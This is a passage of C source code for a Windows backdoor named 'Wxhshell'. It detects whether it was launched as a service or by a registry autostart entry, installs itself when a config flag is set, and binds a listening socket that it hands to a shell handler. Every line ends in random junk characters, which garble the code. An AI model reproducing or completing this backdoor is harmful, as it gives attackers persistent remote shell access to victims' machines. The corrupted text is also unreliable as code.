ULONG InheritedFromUniqueProcessId; I=0`xF|4K-
} PROCESS_BASIC_INFORMATION; D/v?nW
NSZ9M%7
PROCNTQSIP NtQueryInformationProcess; W;Ct[Y8m
XsEDI?p2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 09/Mg
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `KB; 3L
tmKHT
HANDLE hProcess; #mFIZMTRd
PROCESS_BASIC_INFORMATION pbi; p[>!;qI
}Ge$?ZFH
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RGsgT ^
if(NULL == hInst ) return 0; a0~LZQ?
.r4*?>
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N:_.z~>%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =A{F&:+a]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )vn{?Ulj
;ry~x:7L7
if (!NtQueryInformationProcess) return 0; Pd)mLs Jg
3VaL%+T$,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3%P<F>6
J
if(!hProcess) return 0; {{qu:(_g
~m3Q^ue
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zcjh
.k cyw>T`I
CloseHandle(hProcess); LtW}R4}3
?L x*MJZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W^k95%zBM
if(hProcess==NULL) return 0; fS?}(7
\ ,D>zF
HMODULE hMod; a]]eQ(xQ
char procName[255]; 3?5JY;}h>"
unsigned long cbNeeded; 6Z.Fyte
%vUY|3G
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tnE),
JVydTvc
CloseHandle(hProcess); Q`kV|
pjg
IK1'" S|
if(strstr(procName,"services")) return 1; // 以服务启动 nvbzC tC
jl9hFubwW
return 0; // 注册表启动 SMonJ;Y
} i]9C"Kw$L
{^8?fJ/L
// 主模块 w{mw?0
int StartWxhshell(LPSTR lpCmdLine) xu\s2x$
{ s5h}MXIXw
SOCKET wsl; MroN=%|t
BOOL val=TRUE; xIA] 5@;a
int port=0; OYSq)!:
struct sockaddr_in door; 'hR0JXy
GHY+q{'#V_
if(wscfg.ws_autoins) Install(); ZmI0|r}QbY
f*}}Az.4
port=atoi(lpCmdLine); "%lIB{
xqs ,4bcbY
if(port<=0) port=wscfg.ws_port; ox*1F+Xri
.exBU1Yk@
WSADATA data; uP G\1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ml@;ngmp.
`J]e.K
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #lR-?Uh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $Q"D>Qf{G
door.sin_family = AF_INET; 'Fy"|M;2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); (\ge7sE-oo
door.sin_port = htons(port); t0,=U8]w
AXF
1{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ClG\Kpirh
closesocket(wsl); x
]">
return 1; p]0`rf!|
} JkhW LQ>o
LTxP@pr
if(listen(wsl,2) == INVALID_SOCKET) { Dj>eAO>
closesocket(wsl); djH&)&q!
return 1; }yVx"e)
} :_}xN!9LA
Wxhshell(wsl); kDol 1v`
WSACleanup(); da<